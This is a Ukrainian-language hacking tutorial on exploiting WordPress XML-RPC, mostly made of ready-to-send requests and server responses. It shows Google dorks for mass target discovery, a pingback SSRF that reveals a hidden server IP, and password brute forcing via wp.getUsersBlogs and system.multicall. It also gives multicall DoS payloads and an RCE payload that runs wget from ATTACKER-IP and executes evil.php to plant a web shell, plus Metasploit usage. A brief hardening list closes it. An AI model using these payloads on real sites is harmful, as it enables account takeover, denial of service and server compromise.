Атака XML-RPC на WordPress

Експлуатуємо WordPress XML-RPC Attack на практиці

XML-RPC (XML Remote Procedure Call) – це протокол, який налагоджує віддалену комунікацію між електронними ресурсами через функції API. При цьому використовуються протоколи HTTP та XML, як транспортний і кодуючий механізми відповідно. Проте, публічна доступність XML-RPC в WordPress створює ризики різноманітних атак, таких як DOS/DDoS, BruteForce, SSRF, Account Takeover та інших. Сам протокол був розроблений Дейвом Вінером і фактично на сьогодні є застарілим. Останню технічну специфікацію XML-RPC за 1999 рік можна знайти тут.

Аналіз XML-RPC

В CMS WordPress cлужба XML-RPC присутня починаючи з версії 3.5. Визначається вона за наявністю файлу xmlrpc.php у кореневій директорії сайту:

curl -i https://example.com/xmlrpc.php

Якщо служба активна, сервер у відповідь надішле сторінку з повідомленням “XML-RPC server accepts POST requests only” (XML-RPC сервер приймає лише POST запити):

Повідомлення від xmlrpc.php в браузері
Аналіз відповіді xmlrpc.php через утиліту Curl
Вміст файлу xmlrpc.php в CMS WordPress. Він базується на функціях з /wp-includes/class-wp-xmlrcp-server.php

Підтвердити наявність активної служби XML-RPC для сайту на WordPress можна також з допомогою спеціалізованого сканера вразливостей WPScan:

wpscan --url http://example.com --enumerate u,ap,vt,tt,cb,dbe,m --random-user-agent | tee wpscan_log.txt --api-token TOKEN

Витяг з результатів WPScan

Для масового пошуку вразливих сайтів з XML-RPC можна скористатись пошуковими запитами Google Dorks:

  • inurl:"/xmlrpc.php?rsd"
  • intitle:"WordPress" inurl:"readme.html"
  • allinurl:"wp-content/plugins/"

Для масової перевірки доменів на xmlrpc.php можна скористатися нашим Python-скриптом: check_xmlrpc.py.

Щоб перевірити можливість проведення атаки на XML-RPC, необхідно в BurpSuite перехопити GET-запит до вразливого ресурси, перенаправити його в Repeater, модифікувати й надіслати спеціальний POST-запит, відповідно до вимог XML-RPC. Наприклад:

POST /xmlrpc.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 134

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params>
</methodCall>

У Response-відповіді сервер повинен віддати код 200 з переліком усіх методів XML-RPC:

HTTP/1.1 200 OK
Date: Mon, 08 Sep 2025 16:22:31 GMT
Server: Apache
X-Powered-By: PHP/8.1.33
X-Robots-Tag: noindex, follow
Connection: close
Vary: Accept-Encoding
Upgrade: h2,h2c
Connection: Upgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Можна також відправити POST-запит у командному рядку Linux через Curl:

curl -s -X POST https://example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
</methodCall>'
Приклад надсилання POST-запита до XML-RPC через утиліту Curl

Як бачимо з вищенаведеного матеріалу, цільовий сервер успішно приймає запити й у відповідь надав перелік публічно доступних функцій та методів XML-RPС. Розберемо їх детальніше, щоб скласти МАПУ ПОВЕРХНІ АТАКИ.

Системні методи (XML-RPC Core)

  • system.multicall — дозволяє відправляти кілька методів у одному запиті. Використовується для масивного брутфорсу (одночасно багато спроб логіну).
  • system.listMethods — повертає список усіх доступних методів на сервері (enum).
  • system.getCapabilities — описує, які API функції доступні в XML-RPC (версії, підтримувані модулі, дає посилання).
  • demo.addTwoNumbers — демонстраційний метод (повертає суму двох чисел). Немає практичного використання.
  • demo.sayHello — тестовий метод, просто повертає “Hello”. Використовується для перевірки працездатності API-інтерфейсу.

Pingback API

  • pingback.extensions.getPingbacks — повертає список вхідних pingback’ів (посилань з інших сайтів, які вказують на цільовий ресурс).
  • pingback.ping — надсилає pingback-запит іншому серверу. Використовувалося для SSRF/DDoS (можна змусити WP атакувати інший сайт).

MovableType API

Це стара інтеграція для блогу MovableType, але WordPress підтримує її.

  • mt.publishPost — публікація поста.
  • mt.getTrackbackPings — отримання trackback-запитів для поста.
  • mt.supportedTextFilters — список фільтрів тексту (наприклад, markdown, HTML).
  • mt.supportedMethods — повертає список підтримуваних методів MT API.
  • mt.setPostCategories — змінює категорії у поста.
  • mt.getPostCategories — повертає категорії у поста.
  • mt.getRecentPostTitles — список останніх заголовків постів.
  • mt.getCategoryList — отримати всі категорії.

MetaWeblog API 

Ще один API, який WP підтримує для сумісності.

  • metaWeblog.getUsersBlogs — повертає блоги, якими володіє користувач (корисно для enum).
  • metaWeblog.deletePost — видаляє пост.
  • metaWeblog.newMediaObject — завантажує новий файл (наприклад, зловмисник може завантажити shell).
  • metaWeblog.getCategories — отримує категорії.
  • metaWeblog.getRecentPosts — отримує останні пости.
  • metaWeblog.getPost — отримує конкретний пост.
  • metaWeblog.editPost — редагує пост.
  • metaWeblog.newPost — створює новий пост.

Blogger API

Ще старіший API, підтримка для інтеграції з Blogger.

  • blogger.deletePost — видаляє пост.
  • blogger.editPost — редагує пост.
  • blogger.newPost — створює пост.
  • blogger.getRecentPosts — отримує останні пости.
  • blogger.getPost — отримує конкретний пост.
  • blogger.getUserInfo — повертає дані користувача (корисно для recon).
  • blogger.getUsersBlogs — повертає блоги користувача.

WordPress API

Це вже нативні методи WordPress.

  • wp.restoreRevision — відновлення ревізії поста.
  • wp.getRevisions — список ревізій поста.
  • wp.getPostTypes, wp.getPostType — отримання типів постів.
  • wp.getPostFormats — формати постів.
  • wp.getPosts, wp.getPost — отримати пости.
  • wp.newPost, wp.editPost, wp.deletePost — створення / редагування / видалення постів.
  • wp.getPages, wp.getPage — отримати сторінки.
  • wp.newPage, wp.editPage, wp.deletePage — CRUD операції для сторінок.
  • wp.getPageList — список сторінок.
  • wp.getCategories, wp.newCategory, wp.deleteCategory — управління категоріями.
  • wp.getTags — отримати теги.
  • wp.suggestCategories — автопідбір категорій для поста.
  • wp.getTaxonomies, wp.getTaxonomy, wp.getTerms, wp.getTerm — управління таксономіями та термінами (наприклад, custom tags).
  • wp.newTerm, wp.editTerm, wp.deleteTerm — CRUD для термінів.
  • wp.uploadFile — завантаження файлів (можливість завантажити webshell).
  • wp.deleteFile — видалення файлів.
  • wp.getMediaLibrary — список медіа-файлів.
  • wp.getMediaItem — отримати один медіа-файл.
  • wp.getCommentStatusList — статуси коментарів.
  • wp.getComments, wp.getComment — отримати коментарі.
  • wp.newComment, wp.editComment, wp.deleteComment — CRUD для коментарів.
  • wp.getCommentCount — кількість коментарів до поста.
  • wp.getUsers, wp.getUser — отримати дані користувачів (може розкрити логіни).
  • wp.getAuthors — список авторів.
  • wp.editProfile, wp.getProfile — робота з власним профілем.
  • wp.getUsersBlogs — блоги користувача.
  • wp.setOptions, wp.getOptions — доступ до опцій WP (може містити чутливі дані, наприклад URL API).
  • wp.getPageTemplates — список шаблонів сторінок.
  • wp.getPageStatusList, wp.getPostStatusList — статуси сторінок і постів.
ЧИТАЙТЕ ТАКОЖ:  Пентест від А до Я: посібник з тестування на проникнення

З точки зору безпеки, для зловмисника можуть складати інтерес наступні методи:

  • Корисні для Recon: wp.getUsers, blogger.getUserInfo, metaWeblog.getUsersBlogs.
  • Потенційно небезпечні: system.multicall (брутфорс), pingback.ping (DDoS/SSRF), wp.uploadFile (shell upload), metaWeblog.newMediaObject (зловмисний файл).
  • Адмінські: майже всі wp.*, metaWeblog.*, blogger.*, mt.* — якщо вгадати логін/пароль
Таблиця ризиків XML-RPC методів у WordPress
Метод Категорія Опис експлуатації Ризик
system.listMethods System Повертає список доступних методів (enumeration). Витік інформації
system.getCapabilities System Опис підтримуваних можливостей/версій API. Витік інформації
system.multicall System Багато викликів в одному POST; часто для прискореного brute-force. Високий
demo.sayHello Demo Тестова перевірка працездатності API. Низький
demo.addTwoNumbers Demo Повертає суму двох чисел (демо). Низький
pingback.ping Pingback Просить WP виконати HTTP-запит до вказаного ресурсу (SSRF/DDoS). Високий
pingback.extensions.getPingbacks Pingback Повертає список отриманих pingback’ів. Витік інформації
mt.publishPost MovableType Публікує пост через MT API. Високий
mt.getTrackbackPings MovableType Отримує trackback пінги для поста. Витік інформації
mt.supportedTextFilters MovableType Список доступних текстових фільтрів. Витік інформації
mt.supportedMethods MovableType Список підтримуваних методів MT. Витік інформації
mt.setPostCategories MovableType Встановлює категорії для поста. Середній
mt.getPostCategories MovableType Повертає категорії поста. Витік інформації
mt.getRecentPostTitles MovableType Список останніх заголовків постів. Витік інформації
mt.getCategoryList MovableType Повертає всі категорії. Витік інформації
metaWeblog.getUsersBlogs MetaWeblog Повертає блоги користувача (enum). Витік інформації
metaWeblog.deletePost MetaWeblog Видаляє пост. Високий
metaWeblog.newMediaObject MetaWeblog Завантажує файл у медіатеку (можливий File upload attack). Високий
metaWeblog.getCategories MetaWeblog Список категорій. Витік інформації
metaWeblog.getRecentPosts MetaWeblog Останні пости. Витік інформації
metaWeblog.getPost MetaWeblog Отримує конкретний пост. Витік інформації
metaWeblog.editPost MetaWeblog Редагує існуючий пост. Високий
metaWeblog.newPost MetaWeblog Створює новий пост. Високий
blogger.deletePost Blogger Видаляє пост. Високий
blogger.editPost Blogger Редагує пост. Високий
blogger.newPost Blogger Створює новий пост. Високий
blogger.getRecentPosts Blogger Отримує останні пости. Витік інформації
blogger.getPost Blogger Отримує конкретний пост. Витік інформації
blogger.getUserInfo Blogger Повертає інформацію про користувача. Витік інформації
blogger.getUsersBlogs Blogger Список блогів користувача. Витік інформації
wp.getRevisions WordPress Список ревізій поста. Витік інформації
wp.restoreRevision WordPress Відновлює обрану ревізію поста. Середній
wp.getPostTypes WordPress Перелік типів постів (custom post types). Витік інформації
wp.getPostType WordPress Інформація про конкретний тип поста. Витік інформації
wp.getPostFormats WordPress Підтримувані формати постів. Витік інформації
wp.getPosts WordPress Отримує колекцію постів за фільтрами. Витік інформації
wp.getPost WordPress Отримує конкретний пост. Витік інформації
wp.newPost WordPress Створює новий пост. Високий
wp.editPost WordPress Редагує існуючий пост. Високий
wp.deletePost WordPress Видаляє пост. Високий
wp.getPages WordPress Отримує сторінки. Витік інформації
wp.getPage WordPress Отримує конкретну сторінку. Витік інформації
wp.newPage WordPress Створює сторінку. Високий
wp.editPage WordPress Редагує сторінку. Високий
wp.deletePage WordPress Видаляє сторінку. Високий
wp.getPageList WordPress Повертає список сторінок. Витік інформації
wp.getCategories WordPress Отримує категорії. Середній
wp.newCategory WordPress Створює категорію. Середній
wp.deleteCategory WordPress Видаляє категорію. Середній
wp.getTags WordPress Отримує теги. Середній
wp.getTaxonomies WordPress Перелік таксономій. Середній
wp.getTaxonomy WordPress Деталі таксономії. Середній
wp.getTerms WordPress Список термінів (terms) таксономії. Середній
wp.getTerm WordPress Деталі терміна. Середній
wp.newTerm WordPress Створює термін. Середній
wp.editTerm WordPress Редагує термін. Середній
wp.deleteTerm WordPress Видаляє термін. Середній
wp.uploadFile WordPress Завантаження файлів (можливий webshell при слабкій валідації). Високий
wp.deleteFile WordPress Видалення файлів із медіатеки. Високий
wp.getMediaLibrary WordPress Перегляд медіатеки. Витік інформації
wp.getMediaItem WordPress Деталі окремого медіафайлу. Витік інформації
wp.getCommentStatusList WordPress Можливі статуси коментарів. Середній
wp.getComments WordPress Отримує список коментарів. Середній
wp.getComment WordPress Отримує один коментар. Середній
wp.newComment WordPress Створює новий коментар (можливий спам/XSS). Середній
wp.editComment WordPress Редагує коментар. Середній
wp.deleteComment WordPress Видаляє коментар. Середній
wp.getCommentCount WordPress Лічильник коментарів для поста. Середній
wp.getUsers WordPress Список користувачів (можливий enum логінів). Високий
wp.getUser WordPress Дані конкретного користувача. Високий
wp.getAuthors WordPress Список авторів сайту. Високий
wp.editProfile WordPress Редагує профіль автентифікованого користувача. Середній
wp.getProfile WordPress Повертає профіль поточного користувача. Середній
wp.getUsersBlogs WordPress Список блогів користувача (multisite/Jetpack сценарії). Витік інформації
wp.getOptions WordPress Читання налаштувань WP (можливі чутливі дані). Високий
wp.setOptions WordPress Зміна налаштувань (можливий бекдор/редирект). Високий
wp.getPageTemplates WordPress Список шаблонів сторінок теми. Витік інформації
wp.getPageStatusList WordPress Перелік статусів сторінок. Витік інформації
wp.getPostStatusList WordPress Перелік статусів постів. Витік інформації
ЧИТАЙТЕ ТАКОЖ:  ТОП кращих фільмів про кібербезпеку та хакерів

Експлуатація вразливостей XML-RPC WordPress

Pingback-атака (SSRF/IP Disclosure)

Метод pingback.ping дає можливість різним сайтам-блогам на WordPress обмінюватися сповіщеннями про зворотні посилання по протоколу XML-RPC. На жаль, ця функція досі дає можливість зловмисникам зловживати нею, відправляючи від імені сайта-жертви HTTP pingback-запити на інші сайти WordPress. Однак, найчастіше вона застосовується для того аби просто розкрити справжню IP-адресу сервера сайту, яка може бути прихована під WAF/CDN.

Щоправда, аби атака спрацювала, на обидвох сайтах має працювати WordPress зі штатними налаштуваннями, зокрема мають бути увімкнені опції “Дозволити оповіщення з інших блогів”:

Також, у налаштуваннях публікацій має бути увімкнена опція “Увімкнути сповіщення і зворотні посилання”:

Ще одна умова – відсутність будь-яких плагінів безпеки та файєрволів, які можуть блокувати/фільтрувати зовнішні запити. Відкриті порти 80/443 на хостингу.

Сайт-приманка має містити сторінку у форматі post (запис) зі зворотним посиланням на сайт-жертву в форматі: <p>Посилання на сайт <a href="https://victim-site.com/post2/" data-type="link" data-id="https://victim-site.com/post2/">Victim-site.com</a>.</p>. Будь-які дублікати (посилання/текст/сторінки) – відхиляються.

Швидко знайти посилання на публікації будь-якого сайту можна через команди до WP-JSON:

  • curl https://example.com/wp-json/wp/v2/posts | jq – публікації;
  • curl https://example.com/wp-json/wp/v2/tags | jq – теги;
  • curl https://example.com/wp-json/wp/v2/comments | jq – коментарі;
  • curl https://example.com/wp-json/wp/v2/categories | jq – категорії;
  • ..інший контент.

Загалом, усі умови спрацювання Pingback детально прописані в службовому файлі WordPress – /wp-includes/class-wp-xmlrpc-server.php в функції public function pingback_ping:

Отже, щоб відправити несанкціонований pingback від імені WordPress з сайту-жертви на сайт-приманку, необхідно виконати наступний POST-запит:

POST /xmlrpc.php HTTP/1.1
Host: victim-site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 367

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param>
            <value><string>https://attacker-site.com/post/</string></value>
        </param>
        <param>
            <value><string>https://victim-site.com/post2/</string></value>
        </param>
    </params>
</methodCall>

У відповідь повинні отримати:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Tue, 09 Sep 2025 18:02:00 +0000
Content-Length: 339

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Сповіщення від https://attacker-site.com/post/ на https://victim-site.com/post2/ зареєстровано. Тримайте веб-розмову! :-)</string>
      </value>
    </param>
  </params>
</methodResponse>
Вдалий несанкціонований pingback з одного сайту WordPress на інший

Як бачимо, нам вдалось провести успішну SSRF-атаку і тим самим зареєструвати в access.log сайта-приманки IP-адресу сервера та User-Agent сайту-жертви, який надіслав pingback.

Проте, тут є один нюанс. Він полягає в тому, що тут також подається і IP-адреса того, хто ініціював pingback “..verifying pingback from XX.XX.XX.XX”! Тобто, якщо зловмисник був не обережний і використовував свою справжню IP-адресу, то він засвітив її.

У разі, якщо pingback вже було раніше надіслано і зареєстровано в базі даних, сервер жертви поверне інше повідомлення зі статусом faultCode, яке матиме числове значення > 0, а також faultSting з текстовим повідомленням:

Якщо pingback-запит не відправлено або він не пройшов, сервер поверне повідомлення зі статусом faultCode = 0, а faultString буде порожнім:

Слід зазначити, що аби запити коректно оброблялися, при тестуванні XML-RPC для кожного нового WordPress-сайту необхідно відкривати нову вкладку Repeater.

BruteForce-атака (Enumeration)

Можна також спробувати провести BruteForce атаку через метод wp.getUsersBlogs, який віддає список користувачів WordPress, але передбачає авторизацію через пару “логін-пароль”:

POST /xmlrpc.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 242

<methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
        <param>
            <value>admin</value>
        </param>
        <param>
            <value>password</value>
        </param>
    </params>
</methodCall>

Відповідь сервера:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Tue, 09 Sep 2025 15:16:55 +0000
Content-Length: 446

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>403</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>Неправильне ім’я користувача чи пароль.</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

Як бачимо, запит було схвалено, але сервер заборонив доступ з кодом помилки 403. Логін “admin” в WordPress стандартний за-замовчуванням, але пароль виявився хибним. Однак, ми можемо повторно надсилати запити й таким чином підібрати пароль. Миттєвий бан в XML-RPC за кількість невдалих спроб не приходить, на відміну від брутфорсу стандартної форми авторизації. Тому цим можна скористатись.

Отже, передаємо Request до Intruder й проводимо атаку грубої сили методом Sniper, вказавши список ймовірних паролів (вимкнувши опцію Payload Encoding, яка кодує символи):

При доступі до метода wp.getUsersBlogs, що відповідає за надання списку користувачів WordPress – сервер відповів забороною 403 через невірний пароль
Підготовка атаки грубої сили з підбором паролю для логіна admin в Burp Suite Indtruder
Брутфорс атака з перебором паролів на сайт з XML-RPC WordPress
Було проведено 3425 спроб підбору пароля, і на останній вдалося його підібрати. Сервер схвалив пару “логін-пароль” й надав відповідь з параметом “is Admin”. Система при цьому не забанила атакуючого за величезну кількість невдалих спроб.

Можна також провести брутфорс пари “логін-пароль” через метод system.multicall, який допускає надсилання одразу кількох запитів в одному Request:

POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

</data></array></value></param></params></methodCall>

Варто наголосити, якщо обліковий запис користувача WordPress скомпрометовано, то зловмисник може через XML-RPC публікувати/видаляти пости, застосовуючи такі методи як metaWeblog.newPost та інші.

DoS-атака (Denial of Service)

DoS-атака полягає у відправці великої кількості запитів на адресу сайту-жертви. В XML-RPC це стає можливим завдяки методу system.multicall – він дозволяє вставляти багато викликів API в одному POST-запиті. У висновку, це перенавантажує PHP, який обробляє службу XML-RPC і при певних обставинах може привести до Відмови в обслуговуванні (Denial of Service, DoS).

ЧИТАЙТЕ ТАКОЖ:  Вимикаємо телеметрію Google

До прикладу, ми можемо відправити POST-запит, який міститиме 30 викликів demo.sayHello:

POST /xmlrpc.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5

<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <!-- 30 разів demo.sayHello -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>demo.sayHello</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value><array><data/></array></value>
                </member>
              </struct>
            </value>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>demo.sayHello</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value><array><data/></array></value>
                </member>
              </struct>
            </value>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>demo.sayHello</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value><array><data/></array></value>
                </member>
              </struct>
            </value>
            <!-- скорочено, але просто повторюй цей блок -->
            <!-- всього треба 30 штук -->
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

Відповідь сервера:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Date: Wed, 10 Sep 2025 11:47:38 +0000
Content-Length: 451

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><array><data>
  <value><string>Hello!</string></value>
</data></array></value>
  <value><array><data>
  <value><string>Hello!</string></value>
</data></array></value>
  <value><array><data>
  <value><string>Hello!</string></value>
</data></array></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Звичайно, що таке навантаження для більшості серверів є незначним, але якщо вдосконалити цю атаку, це може стати серйозною проблемою для власника. Наприклад, застосовуючи сотні pingback-запитів в одному multicall. Особливо, якщо сервер-жертва має мало оперативної пам’яті, а версії WordPress і PHP давно не оновлювались.

Приклад:

<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <!-- Перший пінгбек: source -> target -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>pingback.ping</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>https://attacker-site.com/poc-page1</string></value> <!-- Source URI -->
                        <value><string>https://victim-site.com/post1</string></value> <!-- Target URI -->
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>

            <!-- Другий пінгбек: source -> target -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>pingback.ping</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>https://attacker-site.com/poc-page2</string></value> <!-- Source URI -->
                        <value><string>https://victim-site.com/post2</string></value> <!-- Target URI -->
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>

            <!-- Третій пінгбек: source -> target -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>pingback.ping</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>https://attacker-site.com/poc-page3</string></value> <!-- Source URI -->
                        <value><string>https://victim-site.com/post3</string></value> <!-- Target URI -->
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>

          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

RCE-атака (Remote Code Execution)

Pear XML_RPC версії 1.3.0 і більш ранні – вразливі до впровадження віддаленого виконання коду (Remote Code Execution). Парсер XML передає дані в елементах XML до PHP eval() без дезінфекції введених користувачем даних. Відсутність фільтрації параметрів дозволяє віддаленому зловмиснику виконувати довільний код в контексті веб-сервера.

Зловмисник може відправити запит через метод XML-RPC з наступним змістом:

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>test.method</methodName>
  <params>
    <param>
      <value>
        <string>',"));echo '_begin_';echo `cd /tmp;wget ATTACKER-IP/evil.php;chmod +x evil.php;./evil.php`;echo '_end';exit;/*</string>
      </value>
    </param>
  </params>
</methodCall>

Як бачимо, тут підвантажується сторонній файл з атакуючого сервера. Він містить код, який запускає шелл-оболонку <?php system($_GET['cmd'];)?>. Команда PHP зберігає шкідливий скрипт у директорію tmp на сервері жертви й змінює дозвіл файлу, аби дозволити виконання. Після чого у зловмисника з’явиться можливість віддаленого виконання коду через GET-запити в URL: http://target.com/evil.php?cmd=ls.

Ще один приклад:

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
    <params>
        <param>
        <value><name>','')); phpinfo(); exit;/*</name></value>
        </param>
    </params>
</methodCall>
Вищевказаний xml-запит при розміщенні на вразливому сервері призведе до виконання виклику функції phpinfo() на вразливому сервері.

Існує також окремий модуль Metasploit Framework для експлуатації PHP XML-RPC Arbitrary Code Execution:

msf > use exploit/unix/webapp/php_xmlrpc_eval
msf exploit(php_xmlrpc_eval) > show targets
...targets...
msf exploit(php_xmlrpc_eval) > set TARGET < target-id >
msf exploit(php_xmlrpc_eval) > show options
...show and set options...
msf exploit(php_xmlrpc_eval) > exploit

Як захиститися? Заходи безпеки.

  • Обов’язково відключити службу XML-RPC й обмежити будь-який доступ до xmlrpc.php з кодом відповіді сервера 403. Це можна зробити додавши наступний рядок в файл конфігурації WordPress wp-config.php:

add_filter( 'xmlrpc_enabled', '__return_false' );

Або відключити глобально через файл конфігурації веб-сервера:

<Files xmlrpc.php>
order deny,allow
deny from all
</Files>
  • Оновити CMS WordPress до останньої версії.
  • Обмежити доступ до даних, які передаються через WP-JSON. Це можна зробити з допомогою плагіна для WordPress, наприклад “DISABLE REST API“.
  • Обов’язково відключити функції оповіщення Pingback/Trackback в налаштуваннях WordPress.
  • Налаштувати обмеження до внутрішніх ресурсів сервера, блокувати несанкціоновані HTTP-з’єднання та запити з допомогою WAF. Підключити Cloudflare.
  • Встановити відповідні плагіни безпеки для WordPress, наприклад “Wordfence Security”.
  • Не використовувати логін WordPress по-замовчуванню – admin, застосовувати складні 20-ти значні паролі зі знаками верхнього та нижнього регістру.

Джерела та посилання

  1. Sucuri Blog. Brute Force Amplification Attacks Against WordPress XMLRPC
  2. GitHub. Exploiting of xmlrpc.php
  3. Infosecwriteups. How Hackers Abuse XML-RPC to Launch Bruteforce and DDoS Attacks
  4. Wordfence Security Blog. Should You Disable XML-RPC on WordPress?
